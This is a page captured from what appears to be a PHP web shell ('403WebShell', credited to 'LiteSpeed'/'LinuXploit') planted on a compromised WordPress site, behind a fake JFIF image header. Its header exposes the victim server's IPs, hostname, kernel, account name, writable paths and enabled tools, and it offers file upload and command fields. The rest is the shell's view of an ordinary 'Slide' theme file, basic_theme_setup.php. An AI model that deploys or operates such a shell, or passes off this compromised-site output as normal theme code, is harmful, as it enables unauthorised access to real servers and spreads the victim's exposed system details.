????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.96.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/tempvsty/pontiacques.org/wp-content/themes/slide/core/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tempvsty/pontiacques.org/wp-content/themes/slide/core/basic_theme_setup.php
<?php 

if (!function_exists('SLIDE_SWP_setup')) {
	function SLIDE_SWP_setup() {
		//theme textdomain for translation/localization support - load_theme_textdomain($domain, $path)
		$domain = 'slide';
		// wp-content/languages/themes/slide-de_DE.mo
		if (!load_theme_textdomain($domain, trailingslashit(WP_LANG_DIR).$domain)) {
			// wp-content/themes/slide/languages
			load_theme_textdomain('slide', get_template_directory().'/languages');
		}

		// add editor style
		add_editor_style('custom-editor-style.css');
		
		// enables post and comment RSS feed links to head
		add_theme_support('automatic-feed-links');

		/*
		 * Let WordPress manage the document title.
		 * By adding theme support, we declare that this theme does not use a
		 * hard-coded <title> tag in the document head, and expect WordPress to
		 * provide it for us.
		 */
		add_theme_support('title-tag');
	 
		// enable support for Post Thumbnails, 
		add_theme_support('post-thumbnails');

		/*support .alignwide and .alignfull Gutenberg classes*/
		add_theme_support(
		    'gutenberg',
		    array('wide-images' => true)
		);

		// register Menu
		register_nav_menus(
			array(
			  'main-menu' => esc_html__('Main Menu', 'slide'),
			  'footer-menu' => esc_html__('Footer Menu', 'slide')
			)
		);
		
		// custom background support
		global $wp_version;
		if (version_compare($wp_version, '3.4', '>=')) {
			$defaults = array(
				'default-color'          => '121421',
				'default-image'          => '',
				'wp-head-callback'       => 'SLIDE_SWP_custom_background_cb',
				'admin-head-callback'    => '',
				'admin-preview-callback' => ''
			);
			
			add_theme_support('custom-background',  $defaults); 
		}	

	}
}
add_action('after_setup_theme', 'SLIDE_SWP_setup');


function SLIDE_SWP_custom_background_cb() {

        $background = get_background_image();  
        $color = get_background_color();  
      
        if (!$background && !$color) {
        	return;
        }
      	
      	if ($color[0] != "#") {
      		$color = "#".$color;
      	}
        $style = $color ? "background-color: $color;" : '';  
      
        if ($background) {  
            $image = " background-image: url('$background');";  
            $repeat = get_theme_mod('background_repeat', 'repeat');  
      
            if (! in_array($repeat, array('no-repeat', 'repeat-x', 'repeat-y', 'repeat'))) {
            	$repeat = 'repeat';
            }  
      
            $repeat = " background-repeat: $repeat;";  
            $position = get_theme_mod('background_position_x', 'left');  
      
            if (! in_array($position, array('center', 'right', 'left'))) {
                $position = 'left';  
            }
      
            $position = " background-position: top $position;";  
            $attachment = get_theme_mod('background_attachment', 'scroll');  
      
            if (! in_array($attachment, array('fixed', 'scroll'))) {
                $attachment = 'scroll';  
            }
            $attachment = " background-attachment: $attachment;";

            $style .= $image . $repeat . $position . $attachment;  
        }

		?>  
		<style type="text/css">  
			body, .woocommerce .woocommerce-ordering select option, .woocommerce div.product form.cart .variations select option { <?php echo trim($style); ?> }  
		</style>  
		<?php  	
}

/*
	Load the main stylesheet - style.css
*/
if (!function_exists('SLIDE_SWP_load_main_stylesheet')) {
	function SLIDE_SWP_load_main_stylesheet() {
		wp_enqueue_style('slide-swp-style', get_stylesheet_uri());
	}
}
add_action('wp_enqueue_scripts', 'SLIDE_SWP_load_main_stylesheet');

/*
	Load the font related css
*/
if (!function_exists('SLIDE_SWP_load_fonts_css')) {
	function SLIDE_SWP_load_fonts_css() {

		wp_enqueue_style('default_fonts', get_template_directory_uri() . "/core/css/fonts/default_fonts.css");	

		if (!SLIDE_SWP_use_default_fonts()) {
			$primary_font = SLIDE_SWP_get_user_primary_font();
			$secondary_font = SLIDE_SWP_get_user_secondary_font();

			$user_fonts_css = '
				body, textarea {
					font-family: ' . $primary_font . ', sans-serif;
				}

				#logo, h1, h2, h3, h4, h5, h6 {
					font-family: ' . $secondary_font . ', sans-serif;
				}
			';

			wp_add_inline_style('default_fonts', $user_fonts_css);
		} 
	}
}
add_action('wp_enqueue_scripts', 'SLIDE_SWP_load_fonts_css');

function SLIDE_SWP_get_user_fonts_css_gutenberg($primary_font, $secondary_font) {
	$user_fonts_css = '
		.edit-post-visual-editor, .edit-post-visual-editor textarea {
			font-family: ' . $primary_font . ', sans-serif;
		}

		.edit-post-visual-editor #logo,
		.edit-post-visual-editor h1, .edit-post-visual-editor h2, .edit-post-visual-editor h3,
		.edit-post-visual-editor h4, .edit-post-visual-editor h5, .edit-post-visual-editor h6 {
			font-family: ' . $secondary_font . ', sans-serif;
		}
	';

	return $user_fonts_css;
}


/*
	Load Needed Google Fonts
*/
if (!function_exists('SLIDE_SWP_load_google_fonts')) {
	function SLIDE_SWP_load_google_fonts()  {
		$google_fonts_family = SLIDE_SWP_get_fonts_family_from_settings();

		$protocol = is_ssl() ? 'https' : 'http';
		wp_enqueue_style('slide-fonts', $protocol."://fonts.googleapis.com/css?family=".$google_fonts_family);
	}
}
add_action('wp_enqueue_scripts', 'SLIDE_SWP_load_google_fonts');


/*
	Control Excerpt Length
*/
if (!function_exists('SLIDE_SWP_excerpt_length')) {
	function SLIDE_SWP_excerpt_length($length)
	{
		return 40;
	}
}
add_filter('excerpt_length', 'SLIDE_SWP_excerpt_length', 999);


/*
	Remove [...] string from excerpt
*/
if (! function_exists('SLIDE_SWP_excerpt_more')) {
	function SLIDE_SWP_excerpt_more($more) {
		return '...';
	}
}
add_filter('excerpt_more', 'SLIDE_SWP_excerpt_more');


/*
	Implement Custom Excerpt for pages as well
*/
function SLIDE_SWP_add_excerpt_to_pages() {
	add_post_type_support('page', 'excerpt');
}
add_action('init', 'SLIDE_SWP_add_excerpt_to_pages');

/*
	Make Sure Content Width is Set
*/
if (!isset($content_width)) {
	$content_width = 900;
}

/*
	Allow Shortcodes In Text Widget
*/
add_filter('widget_text', 'do_shortcode');

/*
	Remove feed links to comments for custom post types
	When comments are disabled for custom post types
*/
add_filter('post_comments_feed_link','SLIDE_SWP_disableCPTCommentsFeedLink');
function SLIDE_SWP_disableCPTCommentsFeedLink($feed_url) {
	if (SLIDE_SWP_has_cpt_comments()) {
		return $feed_url;
	}

	$post_url = str_replace("feed/", "", $feed_url);
	$postid = url_to_postid( $post_url );

	$lc_cpt = array("js_albums", "js_events", "js_videos", "js_photo_albums");
	if (!in_array(get_post_type($postid), $lc_cpt)) {
    	return $feed_url;
    }

    /*no comment feed url here*/
	return;
}


/*
	Add Open Graph to head
*/
add_action('wp_head', 'slide_swp_add_open_graph', 5);
function slide_swp_add_open_graph() {
	if (slide_swp_is_auto_fb_meta_disabled()) {
		return;
	}

    global $post;

    if (!is_singular()) {
    	return;
    }
	?>

	<meta property="og:title" content="<?php echo esc_attr(get_the_title()); ?>"/>
    <meta property="og:type" content="article"/>
    <meta property="og:url" content="<?php echo esc_attr(get_permalink()); ?>"/>
    <meta property="og:site_name" content="<?php bloginfo('name'); ?>"/>

    <?php 

    if(has_post_thumbnail($post->ID)) {
    	$thumbnail_src = wp_get_attachment_image_src(get_post_thumbnail_id($post->ID), 'medium');
		?> <meta property="og:image" content="<?php echo esc_attr($thumbnail_src[0]); ?>"/> <?php
    }
}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit